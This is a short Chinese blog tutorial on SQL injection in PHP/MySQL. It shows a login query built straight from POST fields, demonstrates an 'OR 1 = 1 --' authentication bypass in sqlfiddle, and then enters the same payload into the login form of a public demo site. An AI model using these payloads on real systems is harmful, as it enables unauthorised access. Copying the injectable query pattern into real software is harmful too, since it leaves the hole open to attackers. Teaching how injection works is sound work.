美文网首页测试员的那点事攻防
php mysql 注入攻击实例

php mysql 注入攻击实例

作者: 望月成三人 | 来源:发表于2017-05-16 09:35 被阅读483次

说明

一个php登录表单方式:

<form action=‘index.php’ method="post">

<input type="email" name="email" required="required"/>

<input type="password" name="password"/>

<input type="checkbox" name="remember_me" value="Remember me"/>

<input type="submit" value="Submit"/>

</form>

登录的sql语句可能是这样子:

SELECT * FROM users WHERE email = $_POST['email'] AND password = md5($_POST['password'])

sqlfiddle工具

现在用一个在线工具直接模拟sql注入,打开http://sqlfiddle.com/

  • 在左边窗口写创建数据库和插入数据语句
CREATE TABLE `users` ( `id` INT NOT NULL AUTO_INCREMENT, `email` VARCHAR(45) NULL, `password` VARCHAR(45) NULL, PRIMARY KEY (`id`)); 

insert into users (email,password) values ('[m@m.com](mailto:m@m.com)',md5('abc'));
  • 右边输入
select * from users;

点击运行出现结果:

Paste_Image.png
  • 截图展示具体操作步骤
Paste_Image.png
  • 现在右侧输入下面的语句也能查询到结果:
SELECT * FROM users WHERE email = '[xxx@xxx.xxx](mailto:xxx@xxx.xxx)' OR 1 = 1 LIMIT 1 -- ' ] AND password = md5('1234');

分析语句:

  • xxx@xxx.xxx 正常输入
  • OR 1 = 1 LIMIT 1 一条记录永远为真
  • -- ' AND.... SQL注释,忽略了密码部分
Paste_Image.png

实例操作

  • 打开 http://www.techpanda.org/

  • 用户名输入: xxx@xxx.xxx

  • 密码输入: xxx') OR 1 = 1 -- ]

  • 点击登录就可以登录成功


    Paste_Image.png
  • 登录成功后的页面


    Paste_Image.png
  • 分析
    当输入上面的语句时,就生成了这样的语句: SELECT * FROM users WHERE email = '[xxx@xxx.xxx](mailto:xxx@xxx.xxx)' AND password = md5('xxx') OR 1 = 1 -- ]');

生成过程是这样子:

Paste_Image.png

其他

  • 增删改查都可以用注入的方式
  • 借助自动化工具

参考

相关文章

  • php mysql 注入攻击实例

    说明 一个php登录表单方式: 登录的sql语句可能是这样子: sqlfiddle工具 现在用一个在线工具直接模拟...

  • 小迪16期-20170401

    第六天:MySQL防注入研究 MySQL头注入(http)Access偏移注入CSRF攻击 MySQL防注入 过滤...

  • PHP代码安全之SQL注入

    PHP代码安全之SQL注入 1、什么是SQL注入? SQL攻击(英语:SQL injection),简称注入攻击,...

  • php审计之命令注入(敏感函数法)

    PHP脚本中,我们可以对输入进行注入攻击。 注入的种类有很多:命令注入Eval注入客户端脚本攻击跨网站脚本攻击SQ...

  • 常用命令

    运行mysql实例(容器) 运行redis实例(容器) 运行nginx实例(容器) 运行php-fpm实例(容器)

  • PHP代码漏洞

    针对PHP的网站主要存在下面几种攻击方式: 1、命令注入(Command Injection) 2、eval注入(...

  • 02 PHP

    PHP基本代码 实例 PHP接收POST传值、GET,include文件包含 连接mysql

  • 旗鱼云梯Linux网络安全防火墙(WAF防火墙)

      在这个乱象横生的年代,SQL注入、XML注入,跨站脚本攻击,PHP代码注入满天飞,如何进行web应用安全防御,...

  • XSS攻防实例

    这篇是继上篇XSS跨站脚本攻击的后篇 1、XSS攻击实例分析 例1、简单XSS攻击 留言类,简单注入javascr...

  • SQL常用操作命令及简单实例

    php中链接Mysql实例$conn = mysqli_connect(host,username,passwor...

网友评论

    本文标题:php mysql 注入攻击实例

    本文链接:https://www.haomeiwen.com/subject/csnkxxtx.html